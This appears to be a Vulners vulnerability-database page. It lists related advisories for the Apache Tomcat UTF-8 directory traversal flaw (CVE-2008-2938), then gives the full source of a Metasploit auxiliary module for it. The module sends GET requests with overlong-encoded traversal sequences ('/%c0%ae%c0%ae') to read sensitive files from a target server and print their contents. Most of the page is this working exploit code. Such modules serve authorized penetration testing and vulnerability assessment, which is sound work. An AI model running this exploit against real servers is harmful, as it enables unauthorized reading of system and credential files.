| Reporter | Title | Published | Views | Family All 115 |
|---|---|---|---|---|
| Apache Tomcat <= 6.0.18 UTF8 Directory Traversal Vulnerability | 11 Aug 200800:00 | – | zdt | |
| ToutVirtual VirtualIQ Pro 3.2 Multiple Vulnerabilities | 7 Nov 200900:00 | – | zdt | |
| Apache Tomcat 4.1.x < 4.1.38 / 5.5.x < 5.5.27 / 6.0.x < 6.0.18 Linking UTF-8 Traversal Arbitrary File Access | 12 Aug 200800:00 | – | nessus | |
| CentOS 5 : tomcat5 (CESA-2008:0648) | 6 Jan 201000:00 | – | nessus | |
| Fedora 9 : tomcat6-6.0.18-1.1.fc9 (2008-7977) | 12 Sep 200800:00 | – | nessus | |
| Fedora 9 : tomcat5-5.5.27-0jpp.2.fc9 (2008-8113) | 17 Sep 200800:00 | – | nessus | |
| Fedora 8 : tomcat5-5.5.27-0jpp.2.fc8 (2008-8130) | 17 Sep 200800:00 | – | nessus | |
| Mac OS X Multiple Vulnerabilities (Security Update 2008-007) | 10 Oct 200800:00 | – | nessus | |
| Mandriva Linux Security Advisory : tomcat5 (MDVSA-2008:188) | 23 Apr 200900:00 | – | nessus | |
| MiracleLinux 3 : tomcat5-5.5.23-0jpp.7.1.1AXS3 (AXSA:2008-90:02) | 14 Jan 202600:00 | – | nessus |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanServer
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Tomcat UTF-8 Directory Traversal Vulnerability',
'Description' => %q{
This module tests whether a directory traversal vulnerability is present
in versions of Apache Tomcat 4.1.0 - 4.1.37, 5.5.0 - 5.5.26 and 6.0.0
- 6.0.16 under specific and non-default installations. The connector must have
allowLinking set to true and URIEncoding set to UTF-8. Furthermore, the
vulnerability actually occurs within Java and not Tomcat; the server must
use Java versions prior to Sun 1.4.2_19, 1.5.0_17, 6u11 - or prior IBM Java
5.0 SR9, 1.4.2 SR13, SE 6 SR4 releases. This module has only been tested against
RedHat 9 running Tomcat 6.0.16 and Sun JRE 1.5.0-05. You may wish to change
FILE (hosts,sensitive files), MAXDIRS and RPORT depending on your environment.
},
'References' => [
[ 'URL', 'http://tomcat.apache.org/' ],
[ 'OSVDB', '47464' ],
[ 'CVE', '2008-2938' ],
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
],
'Author' => [ 'aushack', 'guerrino <ruggine> di massa' ],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Jan 9 2009'
)
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'URI to the Tomcat instance', '/']),
OptPath.new('SENSITIVE_FILES', [
true, 'File containing sensitive files, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'sensitive_files.txt')
]),
OptInt.new('MAXDIRS', [ true, 'The maximum directory depth to search', 7]),
]
)
end
def extract_words(wordfile)
return [] unless wordfile && File.readable?(wordfile)
begin
File.readlines(wordfile, chomp: true)
rescue ::StandardError => e
elog(e)
[]
end
end
def find_files(files)
traversal = '/%c0%ae%c0%ae'
1.upto(datastore['MAXDIRS']) do |level|
try = traversal * level
res = send_request_raw(
{
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], try, files)
}, 25
)
if (res && (res.code == 200))
print_status("Request ##{level} may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n#{res.body}")
@files_found << files
break
elsif (res && res.code)
vprint_error("Attempt ##{level} returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}")
end
end
end
def run_host(_ip)
@files_found = []
begin
print_status("Attempting to connect to #{rhost}:#{rport}")
res = send_request_raw(
{
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
}, 25
)
if res
extract_words(datastore['SENSITIVE_FILES']).each do |files|
find_files(files) unless files.empty?
end
end
if !@files_found.empty?
print_good('File(s) found:')
@files_found.each do |f|
print_good(f)
end
else
print_error('No File(s) found')
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation